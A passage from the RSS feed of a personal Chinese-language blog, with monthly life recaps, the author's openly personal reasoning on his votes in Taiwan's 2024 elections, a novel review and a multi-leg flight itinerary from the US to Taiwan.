<p>這次修履歷也有把的一些心得和技巧整理在最近新開的 <a href="https://docs.tomy.me/misc/resume" target="_blank" rel="noreferrer">docs<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 網站上，有需要寫履歷的可以再去看看</p>
<p>我的履歷放在<a href="https://cv.tomy.me" target="_blank" rel="noreferrer">這裡<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，如果有什麼建議的話也歡迎私下跟我縮，感恩的心 🫶🏻</p>
<h3 id="-吉卜力馬拉松" class="relative group">🟡 吉卜力馬拉松 </h3><p>之前寫完說要看吉卜力之後，我馬上就從維基百科上勾了幾部有聽過片名：</p>
<ul>
<li>✅ 天空之城 (1986)</li>
<li>✅ 龍貓 (1986)</li>
<li>❓ 螢火蟲之墓 (1986)</li>
<li>✅ 魔女宅急便 (1989)</li>
<li>✅ 神隱少女 (2001)</li>
<li>⏳ 貓的報恩 (2002)</li>
<li>✅ 霍爾的移動城堡 (2004)</li>
<li>⏳ 崖上的波妞 (2008)</li>
<li>⏳ 風起 (2013)</li>
</ul>
<p>9 部看了 5 部，全部都是在 Netflix 上看的，但不知道為什麼《螢火蟲之墓》被下架ㄌ，可能之後要再來研究一下哪裡可以看 QQQQQ</p>
<p>看完終於可以理解為什麼吉卜力的動畫能夠風靡全球，特別是各種奇幻的角色和橋段，總是讓人印象深刻。雖然還沒有看最近這幾年的動畫，但我猜也許中後期的動畫就是少了這種童趣感，所以才會漸漸流失票房和口碑吧。</p>
<p>但撇開吉卜力不說，我真心覺得過去幾年，動畫電影少了很多卓越的作品，真的是挺令人惋惜的。</p>
<h3 id="-看書--閱讀心得" class="relative group">✅ 看書 + 閱讀心得 </h3><p><a href="/zh-tw/posts/52-hertz-whales/">《52 赫茲的鯨魚們》</a>，在回台灣的飛機上看完了，有興趣的歡迎再移駕去看看我的心得文 🫶🏻</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>完成 2023 回顧 + 2024 展望文：雖然去年年末就已經大概有關於邁入新的一年的一些想法，但是前陣子心理狀態有點混亂，在這樣的情緒下寫出來的東西，感覺會把一整年都搞壞。雖然 2024 已經過完 1/12 了，但既然回來之後心態有稍微重整好一點，就還是為今年許些好願吧！</li>
<li>看完 《絕命毒師》第一季：經典美劇，雖然身邊看的沒有很多，但有看的幾乎都大推，最近看了第一集感覺也不錯，值得之後來慢慢追完。</li>
<li>按時每週 Laundry Run：來自<a href="/zh-tw/posts/atomic-habits/#-習慣堆疊">《原子習慣》</a>的靈感，把習慣綑綁在一起。反正每個禮拜就是要找時間洗衣服，然後洗的中間這一小時也很難拿來做什麼正經事，再加上我公寓的健身房其實就在洗衣間的上面而已，不如就把洗衣服的時間固定下來，然後等衣服洗的時間就拿來跑步運動吧</li>
</ol>
<h2 id="寫在最後" class="relative group">寫在最後 </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-january-dump/birthday-dinner.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="聚餐合照"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-january-dump/virtual-candles.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="生日蛋糕與虛擬蠟燭"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-january-dump/semester-start-dinning.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="開 Sem 飯合照"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>不知道是不是看到<a href="/zh-tw/posts/2023-october-dump/#-每月洗澡新發現">之前報報轉貼的貼文</a>，今年難得有人會幫我辦生日聚餐！好我現在終於知道真實世界不能跳過的廣告是什麼感覺了：）</p>
<p>最近被各種人生的困難與抉擇所困惑，太多猶豫不定、躊躇不前、可惜、不知所措&hellip;&hellip;各種百感交集一瞬間難以言表，總之</p>
<ul>
<li>感恩所有寒假回台灣時把我挖出門的人，請體諒我的 E 型人格最近只會 Emo，I 型人格沒計畫要 social 所以話有點少</li>
<li>感恩我爹娘還有我的各種伯叔姨公婆，沒想到都 25 歲了人沒回家過年還可以預支紅包，賠錢貨過這麼奢侈好像有點不應該</li>
<li>感恩 MSE 的大家幫我辦生日聚餐，甚至還有卡片跟禮物，真是受寵若驚</li>
<li>感恩 MCDS 旅陪我吃 sem 飯、做 Yoga 還有玩雪</li>
<li>感恩所有關心我的人，還有願意看我的部落格的你</li>
</ul>
<p>祝大家 2024 的接下來一切順利，下個月見！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-january-dump</guid><pubDate>Fri, 02 Feb 2024 01:24:17 -0500</pubDate></item><item><title>2024 總統、立法委員選舉</title><link>https://blog.tomy.me/zh-tw/posts/2024-election/</link><description/><content:encoded><![CDATA[<div class="flex rounded-md bg-primary-100 px-4 py-3 dark:bg-primary-900">
  <span class="pe-3 text-primary-400">
    <span class="icon relative inline-block px-1 align-text-bottom"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentColor" d="M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"/></svg>
</span>
  </span>
  <span class="dark:text-neutral-300"><strong>Warning!</strong> 本文章涉及我個人的政治觀點，可能既不客觀又不合理，如果你難以忽略我可能跟你保持不一樣的想法，不推薦繼續閱讀</span>
</div>

<p>還以為出國念書會是我第一次錯過選舉的原因，但總之我還是回來過寒假了，那也就沒有理由不待到投完票再回去囉</p>
<p>今年做的功課：</p>
<ul>
<li><a href="https://www.thenewslens.com/election/2024/game" target="_blank" rel="noreferrer">2024 超級凱道兄弟之政見對決<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li>選舉公報</li>
<li>賀龍夜夜秀第 8 集現場錄影，這集真的是眾星雲集：
<ul>
<li>吳欣盈：台灣民眾黨副總統參選人</li>
<li>王婉諭：時代力量代理黨主席</li>
<li>呱吉</li>
</ul>
</li>
</ul>
<h2 id="台北市第-8-選舉區-文山中正-立法委員" class="relative group">台北市第 8 選舉區 (文山、中正) 立法委員 </h2><p><a href="https://web.archive.org/web/20240108220503/https://eebulletin.cec.gov.tw/113/02%E7%AC%AC11%E5%B1%86%E5%8D%80%E5%9F%9F%E7%AB%8B%E6%B3%95%E5%A7%94%E5%93%A1%E9%81%B8%E8%88%89/02%E8%87%BA%E5%8C%97%E5%B8%82/%E7%AC%AC8%E9%81%B8%E8%88%89%E5%8D%80/%E8%87%BA%E5%8C%97%E5%B8%82%E7%AB%8B%E5%A7%94%E7%AC%AC8%E9%81%B8%E8%88%89%E5%8D%80.pdf" target="_blank" rel="noreferrer">選舉公報<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>選前一兩個禮拜有稍微看一下王閔生 (民進黨) 跟張其祿 (民眾黨)，但實在有點難產生什麼記憶點。越靠近選舉，我的關注重點也完全被不分區和正副總統的新聞拉走，原本想說前一個晚上再來深入研究一下他們兩個跟賴宣任 (小民參政歐巴桑聯盟) 的政見和過去的資料，結果不知道為啥有人就跑來我家瞎混了一整晚，最後啥都沒看，一直到走進投開票所才想起來還有這一題考前沒念到：）</p>
<p>但其實這個選區其實根本不用選，因為立委沒有連選連任的限制，所以從賴士葆從政以來，從來沒選輸過，根本文山區區長。某種程度上來說，我其實不覺得區域立委在國會上所代表的聲音能有多大的影響力，所以比起哪個候選人提了哪些多好的政見，我私心只想把賴士葆拉下台。</p>
<p>最後想了一下覺得我自己意識形態偏淺綠，但似乎還沒有印象曾經投給民進黨過，再加上如果我的目標只是想讓第二高票的人有機會可以超過賴士葆，於是最後投了王閔生。</p>
<p>覺得這一票投的有點不負責任，理由蠻沒有說服力的，而且有微微的棄保成分，我自己不是很滿意，但反正最後賴士葆還是上了 ¯\_(ツ)_/¯</p>
<h2 id="不分區立法委員" class="relative group">不分區立法委員 </h2><p><a href="https://web.archive.org/web/20240108220538/https://eebulletin.cec.gov.tw/113/05%E7%AC%AC11%E5%B1%86%E5%85%A8%E5%9C%8B%E4%B8%8D%E5%88%86%E5%8D%80%E5%8F%8A%E5%83%91%E5%B1%85%E5%9C%8B%E5%A4%96%E5%9C%8B%E6%B0%91%E7%AB%8B%E6%B3%95%E5%A7%94%E5%93%A1%E9%81%B8%E8%88%89/%E5%85%A8%E5%9C%8B%E4%B8%8D%E5%88%86%E5%8D%80%E5%8F%8A%E5%83%91%E5%B1%85%E5%9C%8B%E5%A4%96%E5%9C%8B%E6%B0%91%E7%AB%8B%E5%A7%94%E9%81%B8%E8%88%89%E5%85%AC%E5%A0%B1.pdf" target="_blank" rel="noreferrer">選舉公報<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>我蠻確定藍綠我都不想投，理由後面再說。那接下來就是要從眾多小黨裡選一個投，命題就會變成：如果台灣容得下第三勢力，那我會希望是哪個黨？</p>
<p>在我心中，柯文哲是實力經得起考驗的首長，但我不覺得他有能力率領中心思想還在拼裝車階段的民眾黨，簡單來說就是這群人裡我看不懂的拐瓜劣棗還是偏多，所以我很難相信他們有能力帶領台灣走向某個他們心目中的樣子。</p>
<p>時代力量在我心中仍然難以被取代，4 年前我票投下去的時候就已經搖搖欲墜，現在更是奄奄一息了，昔日的明星跳槽的跳槽，退黨的退黨。但我依然相信就算大家只是把這裡當作道館，混出名聲之後就出家到其他政黨，時力仍然給了這些年輕人機會，讓下一代的政治明星能在這裡孵化，這可是藍綠都不願意給的。</p>
<p>題外話：這個想法形塑之後沒多久，就遇到我去夜夜秀現場錄影。呱吉在台上說他的政黨票要投給時力的時候，我心還真的是涼了一下，心想我的這票怎麼突然變得這麼廉價，但最後依舊是把這一票給了傳承太陽花意志的時力。</p>
<h2 id="正副總統" class="relative group">正副總統 </h2><p><a href="https://web.archive.org/web/20240108220550/https://eebulletin.cec.gov.tw/113/01%E7%AC%AC16%E4%BB%BB%E7%B8%BD%E7%B5%B1%E5%89%AF%E7%B8%BD%E7%B5%B1%E9%81%B8%E8%88%89/%E7%AC%AC16%E4%BB%BB%E7%B8%BD%E7%B5%B1%E5%89%AF%E7%B8%BD%E7%B5%B1%E9%81%B8%E8%88%89%E9%81%B8%E8%88%89%E5%85%AC%E5%A0%B1.pdf" target="_blank" rel="noreferrer">選舉公報<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>我私心本來就稍微偏好柯文哲一點點。很多新聞媒體和社群風向覺得他的第二任做的比第一任差很多，大巨蛋搞不定，又常常失言，但仔細去看這些個別事件的時候，我認為這些議題大多數跟選總統要審視的點沾不上邊，有點難以說服我他會因此不適任總統大位，結論就是我這一票最後投給了柯文哲。</p>
<p>寫到這裡結果應該很明白了，但可以來簡單講一下我不想投另外兩個候選人的理由。</p>
<p>賴清德本人我沒什麼太大的意見，雖然被戲稱是台獨金孫，選上了北京一定氣噗噗發瘋，但只要他腦子還有在轉，不要亂講些有的沒的去觸犯人家的敏感神經，自然就在是躺著選穩著上。我比較有意見的是民進黨，其實跟<a href="/zh-tw/posts/2022-election/">上次選舉</a>的理由差不多，透過操作統獨議題來鞏固票源，這個手法真的是有夠拙劣，我原本以為這次會因為賴清德躺著選就稍微收斂一點，但似乎好像沒什麼太大差別。</p>
<p>侯友宜這個人我就是真心覺得投不下去了。在某次無聊閒逛維基百科的時候，得知在他任職警察的時候，曾經有個兒子，但是在一次遊覽車火燒車的事件之後意外走了，當時他還很沈痛的在記者會上要求政府究責。結果到了恩恩案的時候，侯友宜第一時間袒護的卻是新北市的消防局，污點證據出現馬上說身為市長要一肩扛起所有的責任，然後事件風波過了之後，全案不起訴，順利當選第二任市長。</p>
<p>政治本來就充滿算計和利益交換，但如果今天有人連自己最「沈痛」的過去都可以這樣被拿來交換，那也許他還是當警察適合一點。</p>
<h2 id="misc" class="relative group">Misc </h2><p>其他這次選舉相關的一些想法，想到就寫</p>
<h3 id="國會不過半" class="relative group">國會不過半 </h3><p>賴清德今年躺著選，民進黨今年的選舉重心多的是放在強調「國會要過半，政府不空轉」。</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube-nocookie.com/embed/H4kGNldUQGw?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<figcaption class="text-center">民進黨 2024 競選影片《在路上》(見 1:55 處)</figcaption>
<p>但這反而是我更覺得不應該投給民進黨的原因，因為過去已經有太多案例證明民進黨一拿到絕對優勢，就開始濫用這些權利，背棄民意。</p>
<p>台灣歷史上也不是只有民進黨有這樣的前科：</p>
<ul>
<li>馬英九 + 國民黨完全執政時期
<ul>
<li>2008 開放美牛</li>
<li>2014 (差一點) 通過服貿</li>
</ul>
</li>
<li>蔡英文 + 民進黨完全執政時期
<ul>
<li>2016 一例一休</li>
<li>2022 開放萊豬 (甚至是直接用行政命令，沒有經過國會表決)</li>
</ul>
</li>
</ul>
<p>所以與其讓兩大黨某一方獨大，倒不如讓第三勢力作為反映民意的關鍵少數。如果歐洲多黨制的政治體系做得到，我不相信台灣不行。</p>
<h3 id="國民黨的管理問題" class="relative group">國民黨的「管理」問題 </h3><p>我認為國民黨近 20 年以來，在關鍵的每一步都出現了重大疏失。</p>
<p>政治有很多討論的面向，民生、經濟、國防、外交，如果我們簡單的把各個議題都分成左右兩派，然後藍綠各自在不同的議題上選一邊站，理論上如果兩邊各選對了一半，那就會形成勢均力敵的情勢。但實際情況卻總是民進黨在民意呼聲最高的時候選到對的邊站，比方說在太陽花的時候支持退回服貿，在核四出問題的時候提出非核家園。</p>
<p>選錯邊也沒關係，但總是可以守護自己的價值觀吧？2008 年的時候馬英九執政，適逢北京奧運，全世界包含台灣對中的好感度來到高點，然後國民黨的 ECFA 拖了 2 年才簽，到服貿的時候已經錯失了民氣可用的時機了。另外一個明顯的例子，同樣是開放美國肉，美牛的反對呼聲卻比萊豬高很多，民進黨隨便幾句「時空背景不同」「請國人體諒」就輕鬆交代過去。這都再再證明了國民黨不僅抽牌抽的爛，好牌也照樣被打爛。</p>
<p>而這些現象的背後，我認為更大的結構性問題或許就是源自於不懂的提攜後進、缺乏長線的佈局。沒有培養未來的政治明星，每到選舉，與其從基層揀選有想法、有作為的幹部出來挑戰，反而是從一堆上個世紀苟存的沒料老人抓一個出來當猴子，然後靠鞏固深藍老選票當選。幕僚也都是一堆尸位素餐的老屁股，思想僵化以致於選議題選不好，也沒有培養勢均力敵的網軍能跟民進黨拼聲量。</p>
<p>某種程度上來說，即便是最難打的統獨議題，也不是沒有討論的空間。操縱民意和說好故事，明明收幾個 1450 進來幹幾年就可以做的不差，但國民黨就是學不會。</p>
<hr>
<p>結論：大老遠繞了地球半圈回來投了 3 票，3 票全部落選，好耶</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-election</guid><pubDate>Wed, 17 Jan 2024 16:11:47 -0500</pubDate></item><item><title>52 赫茲的鯨魚們</title><link>https://blog.tomy.me/zh-tw/posts/52-hertz-whales/</link><description/><content:encoded><![CDATA[<p>《52 赫茲的鯨魚們》的故事始於主角貴瑚搬離大城市，來到某個海邊小鎮，尋求更平靜的生活，但在遇到五十二後，不但打亂了原本的安排，也使她不得不面對想逃離的一切，但也在幫助五十二的過程中，重新救贖自己的心靈。</p>
<p>我特別喜歡作者對貴瑚的心境細膩的刻畫。就好像生活的某些片段，雖然稍縱即逝，但內心霎時之間的感受，卻可能是千言萬語都難以盡訴。沉浸在這些細節，就仿佛跟著貴瑚坐在居酒屋裡大口暢飲生啤酒、聆聽海的聲音、在房間裡崩潰痛哭，也使我們更貼近貴瑚的心境去經歷這些事件。</p>
<p>故事的推展使用了如《First Love 初戀》穿插的方式，一面搭建貴瑚的過去，故事的主線則漸漸揭開五十二的面紗，這樣的手法既減少了對角色還不夠理解時會有的衝突感，也讓兩人坎坷的過去能夠互相交織，使得故事進展到末尾匯成結局時，閱讀起來更讓人重新感受到了溫暖。</p>
<p>總的來說，是讀起來非常揪心，卻又能在最後感受到溫暖和溫柔的小說！</p>
<p>推薦給所有 emo 怪，或是想把心打碎再重新拼起來的人 (?)</p>
<hr>
<p>P.S. <a href="https://gaga.ne.jp/52hz-movie/" target="_blank" rel="noreferrer">翻拍的電影<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>今年 3 月要在日本上映了，有興趣的不妨多關注一下台灣的發行動態吧！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">52-hertz-whales</guid><pubDate>Thu, 11 Jan 2024 03:08:37 +0800</pubDate></item><item><title>2023 年 12 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2023-december-dump/</link><description>2023 最後一篇報報照老規矩拖過年沒有毛病吧</description><content:encoded><![CDATA[<p>2023 最後一個月有點頹廢。</p>
<p>期末結束一結束真的是啥也不想幹，連出門都有點懶 _(:3」∠)_</p>
<h2 id="-返台飛行日誌" class="relative group">✈️ 返台飛行日誌 </h2><p>學校這個月 8 號就是最後一天上課了，大部分課程會在接下來的一個禮拜舉行期末考。MSE 的話，因為大部分課程內容偏實務，所以都是用期末專題取代期末考，實際上所有的東西都可以線上完成。</p>
<p>至於要不要回來也是掙扎挺久的，有蠻多點要考量，學期初考慮的點大概有幾個：</p>
<ul>
<li>👎🏻 才剛出去沒多久</li>
<li>👎🏻 機票有點貴</li>
<li>👎🏻 待在美國應該會有蠻多時間可以「認真」做想做的事，或是跟其他人拼車出去玩</li>
<li>👍🏻 回來台灣生活費比較便宜</li>
<li>👍🏻 可以趁回來轉機的路上再多玩一趟</li>
<li>👍🏻 要選舉了，好像該回來投一下</li>
</ul>
<p>後來身邊的人都陸續要回來了，自己一個人在美國應該是想幹嘛都會有點麻煩，再加上以後如果開始工作了，可能也不會隨時有假可以請，能跟家人相處的時間也不多了，既然現在有這個機會，不如就還是回亞洲陪家人順便避咚吧 ♪~ ᕕ(ᐛ)ᕗ</p>
<table>
  <thead>
    <tr>
      <th>出發地</th>
      <th>目的地</th>
      <th>飛行時間</th>
      <th>航班</th>
      <th>原始價格</th>
      <th>換算台幣</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>🇺🇸 PIT</td>
      <td>🇨🇦 YYZ</td>
      <td>1h7m</td>
      <td>
        <img
          src="https://www.gstatic.com/flights/airline_logos/70px/AC.png"
          alt="Air Canada tail logo"
          class="inline w-4 m-0"
        />
        AC8922
      </td>
      <td rowspan="2" class="align-middle">US$530</td>
      <td rowspan="2" class="align-middle">$16,340</td>
    </tr>
    <tr>
      <td>🇨🇦 YYZ</td>
      <td>🇯🇵 HND</td>
      <td>14h10m</td>
      <td>
        <img
          src="https://www.gstatic.com/flights/airline_logos/70px/AC.png"
          alt="Air Canada tail logo"
          class="inline w-4 m-0"
        />
        AC1
      </td>
    </tr>
    <tr>
      <td colspan="6" class="text-center">🇯🇵 中停東京 1 日</td>
    </tr>
    <tr>
      <td>🇯🇵 HND</td>
      <td>🇲🇾 KUL</td>
      <td>7h50m</td>
      <td>
        <img
          src="https://www.gstatic.com/flights/airline_logos/70px/D7.png"
          alt="Air Asia X tail logo"
          class="inline w-4 m-0"
        />
        D7523
      </td>
      <td rowspan="2" class="align-middle">¥27916</td>
      <td rowspan="2" class="align-middle">$6,010</td>
    </tr>
    <tr>
      <td>🇲🇾 KUL</td>
      <td>🇸🇬 SIN</td>
      <td>1h10m</td>
      <td>
        <img
          src="https://www.gstatic.com/flights/airline_logos/70px/AK.png"
          alt="Air Asia tail logo"
          class="inline w-4 m-0"
        />
        AK705
      </td>
    </tr>
    <tr>
      <td colspan="6" class="text-center">🇸🇬 中停新加坡 5 日</td>
    </tr>
    <tr>
      <td>🇸🇬 SIN</td>
      <td>🇲🇾 KUL</td>
      <td>1h15m</td>
      <td>
        <img
          src="https://www.gstatic.com/flights/airline_logos/70px/MH.png"
          alt="Malaysian Airline tail logo"
          class="inline w-4 m-0"
        />
        MH604
      </td>
      <td>SGD 122</td>
      <td>$2,863</td>
    </tr>
    <tr>
      <td colspan="6" class="text-center">🇲🇾 中停吉隆坡 1 日</td>
    </tr>
    <tr>
      <td>🇲🇾 KUL</td>
      <td>🇸🇬 SIN</td>
      <td>1h0m</td>
      <td>
        <img
          src="https://www.gstatic.com/flights/airline_logos/70px/TR.png"
          alt="Scoot tail logo"
          class="inline w-4 m-0"
        />
        TR453
      </td>
      <td rowspan="2" class="align-middle">MYR 803</td>
      <td rowspan="2" class="align-middle">$5,378</td>
    </tr>
    <tr>
      <td>🇸🇬 SIN</td>
      <td>🇹🇼 TPE</td>
      <td>4h45m</td>
      <td>
        <img
          src="https://www.gstatic.com/flights/airline_logos/70px/TR.png"
          alt="Scoot tail logo"
          class="inline w-4 m-0"
        />
        TR992
      </td>
    </tr>
  </tbody>
  <tfoot>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
    <td><b>$30,593</b></td>
  </tfoot>
</table>
<p>看機票變成我過去幾個月最大的休閒娛樂。</p>
<p>以這趟回來來說，買機票考慮的有幾個點：</p>
<ul>
<li>便宜至上</li>
<li>想繞道去新加坡玩個幾天</li>
<li>我不介意多飛幾趟/飛很久，反正我很好睡 (X</li>
</ul>
<p>所以這個路線組合大概是這樣拼起來的：</p>
<ul>
<li>先撿一段便宜的機票飛到亞洲，加拿大航空的 PIT → YYZ 載客率似乎不高，所以跟 YYZ → HND 組起來就可以壓低價格</li>
<li>往新加坡這一段相對容易，亞洲航空價格一直都很便宜</li>
<li>再來是離開新加坡，台北新加坡這段的班次在聖誕節假期前幾乎是班班客滿，雖然亞航也是不差的選擇，但我很想搭看看酷航，如果單買 TR992 這段機票不含行李記得是九千上下</li>
<li>於是我把目光轉向新加坡班次最密集的路線——吉隆坡，然後發現多買 TR453 這一段之後價格會直接腰斬</li>
<li>最後只要再補一段 KUL → SIN 就行了，這條路線的競爭太激烈，所以就算不是廉價航空的馬航也三千有找</li>
</ul>
<p>於是就有了上面這段飛行日誌，雖然總飛行時間有點長，但不用自助轉機，中停時間都超過一天，夠我進市區逛一天，去青旅睡一覺再繼續旅程。價格的部分也跟回台北最快的機票 (聯合航空經舊金山) 差不多，沒多花到太多錢。除了離開美國的時間不小心壓太早之外，其餘部分我很滿意 👍🏻</p>
<p>我覺得看機票最好玩的地方就在於，因為機票的價格是由「供需」所決定的，再加上每趟旅行的目的、需求、可以取捨的細節不同，所以目前還不存在 100% 通用每一個場景的機票搜尋引擎，也不可能有任何搜尋引擎推薦出這種看起來很鳥但實際上不差的行程。</p>
<p>如果有興趣的話可以來逛逛我的<a href="https://my.flightradar24.com/tomy0000000" target="_blank" rel="noreferrer">飛行日誌<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<h2 id="-誠品信義熄燈" class="relative group">🕯️ 誠品信義熄燈 </h2><p>回台灣就幾乎沒幹啥了，但少數確定的行程就是平安夜去逛最後一次誠品信義。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2023-december-dump/xinyi-eslite-18-years.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="信義 18 年回顧展主題牆"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
